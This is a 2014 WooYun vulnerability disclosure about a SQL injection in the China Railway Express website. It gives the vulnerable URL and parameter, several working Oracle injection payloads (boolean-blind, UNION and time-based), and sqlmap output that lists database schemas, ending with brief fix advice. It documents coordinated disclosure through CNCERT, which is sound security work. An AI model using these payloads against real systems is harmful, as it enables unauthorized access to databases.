当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059936

漏洞标题:铁道部旗下中铁快运注入漏洞

相关厂商:中铁快运

漏洞作者: greg.wu

提交时间:2014-05-09 18:59

修复时间:2014-06-23 18:59

公开时间:2014-06-23 18:59

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-09: 细节已通知厂商并且等待厂商处理中
2014-05-13: 厂商已经确认,细节仅向厂商公开
2014-05-23: 细节向核心白帽子及相关领域专家公开
2014-06-02: 细节向普通白帽子公开
2014-06-12: 细节向实习白帽子公开
2014-06-23: 细节向公众公开

简要描述:

铁道部的网站都这么不安全么,我是从12306跳到这个物流网站的。。。
又是盲注,但库和表都能获取到。
ps:请问路人升级到实习白帽子有什么要求?

详细说明:

注入点 :http://www.95572.com/jsp/new_index/select_multi_data2.jsp?p=G
http://www.95572.com/jsp/new_index/select_multi_data2.jsp
?p=G%25' aND 116=116 aND '%25'='
页面正常:

11.PNG


http://www.95572.com/jsp/new_index/select_multi_data2.jsp
?p=G%25' aND 116=1116 aND '%25'='
页面异常,返回空

12.PNG

漏洞证明:

老规矩,上sqlmap:
sqlmap identified the following injection points with a total of 44 HTTP(s) requests:
---
Place: GET
Parameter: p
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=G%' AND 1585=1585 AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: p=G%' UNION ALL SELECT NULL,CHR(113)||CHR(106)||CHR(116)||CHR(100)||CHR(113)||CHR(78)||CHR(100)||CHR(97)||CHR(72)||CHR(114)||CHR(115)||CHR(73)||CHR(90)||CHR(117)||CHR(98)||CHR(113)||CHR(97)||CHR(110)||CHR(109)||CHR(113) FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: p=G%' AND 8845=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(80)||CHR(82)||CHR(97),5) AND '%'='
---
[17:21:24] [INFO] the back-end DBMS is Oracle
web application technology: Apache 2.2.22, JSP
back-end DBMS: Oracle
[17:21:24] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[17:21:24] [INFO] fetching database (schema) names
available databases [16]:
[*] CREWLW
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
其他懒得折腾了。。

修复方案:

过滤,参数化

版权声明:转载请注明来源 greg.wu@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-13 18:04

厂商回复:

CNVD确认并复现所述情况,由CNVD通过公开联系渠道向网站管理单位通报。

最新状态:

暂无